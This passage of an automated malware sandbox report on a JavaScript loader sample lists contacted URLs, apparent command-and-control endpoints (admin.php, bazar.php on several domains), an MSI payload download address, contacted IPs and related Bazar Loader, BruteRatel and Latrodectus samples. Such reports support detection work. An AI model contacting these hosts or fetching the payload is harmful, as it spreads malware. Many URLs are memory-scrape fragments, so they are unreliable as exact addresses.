https://bazarunet.com:8041/	rundll32.exe, 00000006.00000003.3030485400.000001FF4CA7A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030793340.000001FF4CA4E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3011956610.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://greshunka.com/	rundll32.exe, 00000006.00000002.3332514374.000001FF4C9D1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4C9D5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030733974.000001FF4C9D3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bazarunet.com:8041/f	rundll32.exe, 00000006.00000003.2253330460.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://isomicrotich.com/test/i	explorer.exe, 00000008.00000002.3346806877.00000000099B0000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://greshunka.com:8041/I	rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://greshunka.com:8041/admin.phpp	rundll32.exe, 00000006.00000002.3332514374.000001FF4C9D1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4C9D5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030733974.000001FF4C9D3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://isomicrotich.com/test/l	explorer.exe, 00000008.00000002.3352962994.000000000C933000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://wns.windows.com/)s	explorer.exe, 00000008.00000002.3346806877.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2452717662.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://tiguanin.com:8041/admin.php	rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bazarunet.com:8041/bazar.php8	rundll32.exe, 00000006.00000002.3332514374.000001FF4C9D1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2171396063.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4C9D5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030733974.000001FF4C9D3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bazarunet.com:8041/bazar.phpll	rundll32.exe, 00000006.00000003.2253330460.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bazarunet.com/	rundll32.exe, 00000006.00000002.3332514374.000001FF4C9D1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2171396063.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4C9D5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030733974.000001FF4C9D3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://isomicrotich.com/ECOMPARE.EXE.15Desktop	explorer.exe, 00000008.00000002.3352293048.000000000C642000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://bazarunet.com:8041/U	rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tiguanin.com:8041/0E	rundll32.exe, 00000006.00000003.3036865447.000001FF4CA7A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030485400.000001FF4CA7A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://isomicrotich.com/eE	explorer.exe, 00000008.00000002.3353202323.000000000C9A7000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://tiguanin.com:8041/	rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030899621.000001FF4CA52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030550060.000001FF4CA4D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3332514374.000001FF4CA37000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3332514374.000001FF4CA1D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030793340.000001FF4CA4E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tiguanin.com/	rundll32.exe, 00000006.00000003.2253330460.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://isomicrotich.com/yEz	explorer.exe, 00000008.00000002.3353202323.000000000C9A7000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://tiguanin.com/)	rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030377151.000001FF4CA1A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3036902410.000001FF4CA1E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3149156557.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3332514374.000001FF4CA1D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3011956610.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://greshunka.com:8041/net.com:8041/Pw	rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://r10.o.lencr.org0#	rundll32.exe, 00000006.00000003.2927135917.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3197779910.000001FF4CA53000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526696898.000001FF4CA4D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2727327156.000001FF4CA51000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030377151.000001FF4CA1A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3036902410.000001FF4CA1E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030550060.000001FF4CA4D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2927135917.000001FF4CA50000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2477041735.000001FF4CA4E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3248286213.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3295432938.000001FF4CA53000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3011956610.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://outlook.com	explorer.exe, 00000008.00000000.2452717662.0000000009D42000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3346806877.0000000009BB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094015474.0000000009BA9000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://greshunka.com:8041/bazar.php	rundll32.exe, 00000006.00000003.3011956610.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3149023230.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3197779910.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3295432938.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tiguanin.com:8041/$E	rundll32.exe, 00000006.00000003.3036865447.000001FF4CA7A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030485400.000001FF4CA7A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bazarunet.com:8041/bazar.php	rundll32.exe, 00000006.00000003.3011956610.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://isomicrotich.com/test/G	explorer.exe, 00000008.00000002.3352962994.000000000C933000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://greshunka.com:8041/bazar.phpGN	rundll32.exe, 00000006.00000003.3197779910.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bazarunet.com:8041/net.com:8041/admin.phpf	rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.thawte.com/cps0/	MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr, MSIF160.tmp.1.dr	false		unknown
http://188.119.112.7/das.msi1737443152311351380	~DF93ACB531B807E54B.TMP.1.dr	true		unknown
https://android.notify.windows.com/iOS	explorer.exe, 00000008.00000000.2449894954.00000000076F8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3335475832.00000000076F8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094523211.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tiguanin.com:8041/Y	rundll32.exe, 00000006.00000003.2219769270.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.thawte.com/repository0W	MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr, MSIF160.tmp.1.dr	false		unknown
https://greshunka.com:8041/bazar.phpq#(	rundll32.exe, 00000006.00000003.3149156557.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tiguanin.com:8041/admin.php.	rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://greshunka.com:8041/admin.php	rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3295432938.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.advancedinstaller.com	MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr, MSIF160.tmp.1.dr	false		unknown
https://api.msn.com/	explorer.exe, 00000008.00000000.2452717662.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3346806877.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://isomicrotich.com/test/3	explorer.exe, 00000008.00000002.3346806877.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://greshunka.com:8041/	rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://greshunka.com:8041/admin.phpGN	rundll32.exe, 00000006.00000003.3295432938.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tiguanin.com:8041/admin.php=	rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030377151.000001FF4CA1A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3036902410.000001FF4CA1E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3149156557.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3332514374.000001FF4CA1D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3011956610.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.v	explorer.exe, 00000008.00000002.3331052313.0000000000F13000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2446927908.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bazarunet.com:8041/&	rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bazarunet.com:8041/admin.php	rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3149156557.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3036648885.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3011956610.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bazarunet.com:8041/bazar.php~	rundll32.exe, 00000006.00000002.3332514374.000001FF4C9D1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2171396063.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4C9D5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030733974.000001FF4C9D3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bazarunet.com:8041/in.com:8041/admin.php	rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tiguanin.com:8041/8~	rundll32.exe, 00000006.00000002.3332514374.000001FF4CA42000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://r10.i.lencr.org/0	rundll32.exe, 00000006.00000003.2927135917.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3197779910.000001FF4CA53000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526696898.000001FF4CA4D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2727327156.000001FF4CA51000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030377151.000001FF4CA1A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3036902410.000001FF4CA1E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030550060.000001FF4CA4D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2927135917.000001FF4CA50000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2477041735.000001FF4CA4E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3248286213.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3295432938.000001FF4CA53000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3011956610.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bazarunet.com:8041/admin.php3#	rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tiguanin.com:8041/oQ	rundll32.exe, 00000006.00000003.3031010424.000001FF4CA63000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030899621.000001FF4CA52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030550060.000001FF4CA4D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030793340.000001FF4CA4E000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
188.119.112.7	unknown	Russian Federation	50673	SERVERIUS-ASNL	false
188.114.96.3	isomicrotich.com	European Union	13335	CLOUDFLARENETUS	true
82.115.223.39	greshunka.com	Russian Federation	209821	MIDNET-ASTK-TelecomRU	true
80.78.24.30	tiguanin.com	Cyprus	37560	CYBERDYNELR	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1525184
Start date and time:	2024-10-03 20:41:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Document-18-33-08.js
Detection:	MAL
Classification:	mal100.spre.troj.evad.winJS@10/21@8/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 55 Number of non-executed functions: 217
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Document-18-33-08.js

Simulations

Behavior and APIs

Time	Type	Description
14:42:02	API Interceptor	1x Sleep call for process: msiexec.exe modified
14:42:03	API Interceptor	3262165x Sleep call for process: rundll32.exe modified
14:42:54	API Interceptor	1255883x Sleep call for process: explorer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	1tstvk3Sls.exe	Get hash	malicious	RHADAMANTHYS	Browse	microsoft-rage.world/Api/v3/qjqzqiiqayjq
	http://Asm.alcateia.org	Get hash	malicious	HTMLPhisher	Browse	asm.alcateia.org/
	hbwebdownload - MT 103.exe	Get hash	malicious	FormBook	Browse	www.j88.travel/c24t/?Edg8Tp=iDjdFciE5wc5h9D9V74ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+lW3g3vOrk23&iL30=-ZRd9JBXfLe8q2J
	z4Shipping_document_pdf.exe	Get hash	malicious	FormBook	Browse	www.bayarcepat19.click/g48c/
	update SOA.exe	Get hash	malicious	FormBook	Browse	www.bayarcepat19.click/5hcm/
	docs.exe	Get hash	malicious	FormBook	Browse	www.j88.travel/c24t/?I6=iDjdFciE5wc5h9D9V74ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+la3znjNy02hfQbCEg==&AL0=9rN46F
	https://wwvmicrosx.live/office365/office_cookies/main	Get hash	malicious	HTMLPhisher	Browse	wwvmicrosx.live/office365/office_cookies/main/
	http://fitur-dana-terbaru-2024.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	fitur-dana-terbaru-2024.pages.dev/favicon.ico
	http://mobilelegendsmycode.com/	Get hash	malicious	Unknown	Browse	mobilelegendsmycode.com/favicon.ico
	http://instructionhub.net/?gad_source=2&gclid=EAIaIQobChMI-pqSm7HgiAMVbfB5BB3YEjS_EAAYASAAEgJAAPD_BwE	Get hash	malicious	WinSearchAbuse	Browse	download.all-instructions.com/Downloads/Instruction%2021921.pdf.lnk
82.115.223.39	Document-19-51-48.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse
	vierm_soft_x64.dll.dll	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse
	dsa.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse
	Document-19-27-03.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse
	0.dll	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse
	DLPAgent.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse
80.78.24.30	e664858e8b8ff1ac08f6dd812a68d65d05a704262fa13862538c3c45.vbs	Get hash	malicious	Unknown	Browse	fredlomberhfile.com:2351/lpfdokkq
	s5YgOFFmFK.exe	Get hash	malicious	IcedID	Browse	smockalifatori.com/
	CiMXn78mMb.exe	Get hash	malicious	IcedID	Browse	skayfingertawr.com/
	Scan_06-28_INV__70.exe	Get hash	malicious	IcedID	Browse	hloyagorepa.com/
	Scan_06-28_INV__70.exe	Get hash	malicious	IcedID	Browse	hloyagorepa.com/
	Scan_06-28_INV__10.exe	Get hash	malicious	IcedID	Browse	hloyagorepa.com/
	Scan_06-28_INV__10.exe	Get hash	malicious	IcedID	Browse	hloyagorepa.com/
	05387199.exe	Get hash	malicious	IcedID	Browse	shoterqana.com/
	08778399.exe	Get hash	malicious	IcedID	Browse	shoterqana.com/
	Contract_March_23_INV#305.exe	Get hash	malicious	IcedID	Browse	aoureskindzet.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bazarunet.com	Document-19-51-48.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	185.106.92.54
	vierm_soft_x64.dll.dll	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	185.106.92.54
	dsa.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	185.106.92.54
	Document-19-27-03.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	185.106.92.54
	0.dll	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	185.106.92.54
	DLPAgent.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	185.106.92.54
	Document-21-41-00.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	193.124.185.116
	CITROEN.msi	Get hash	malicious	Bazar Loader, BruteRatel	Browse	193.124.185.116
	x64_stealth.dll.dll	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	193.124.185.116
	7ii6VB6bo3.dll	Get hash	malicious	BruteRatel, Latrodectus	Browse	193.124.185.116
tiguanin.com	Document-19-51-48.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	82.115.223.40
	vierm_soft_x64.dll.dll	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	82.115.223.40
	dsa.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	82.115.223.40
	Document-19-27-03.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	82.115.223.40
	0.dll	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	82.115.223.40
	DLPAgent.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	82.115.223.40
	Document-21-41-00.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	193.124.185.117
	CITROEN.msi	Get hash	malicious	Bazar Loader, BruteRatel	Browse	193.124.185.117
	x64_stealth.dll.dll	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	193.124.185.117
	7ii6VB6bo3.dll	Get hash	malicious	BruteRatel, Latrodectus	Browse	193.124.185.117
isomicrotich.com	Document-19-51-48.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	188.114.96.3
	vierm_soft_x64.dll.dll	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	188.114.97.3
	dsa.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	188.114.96.3
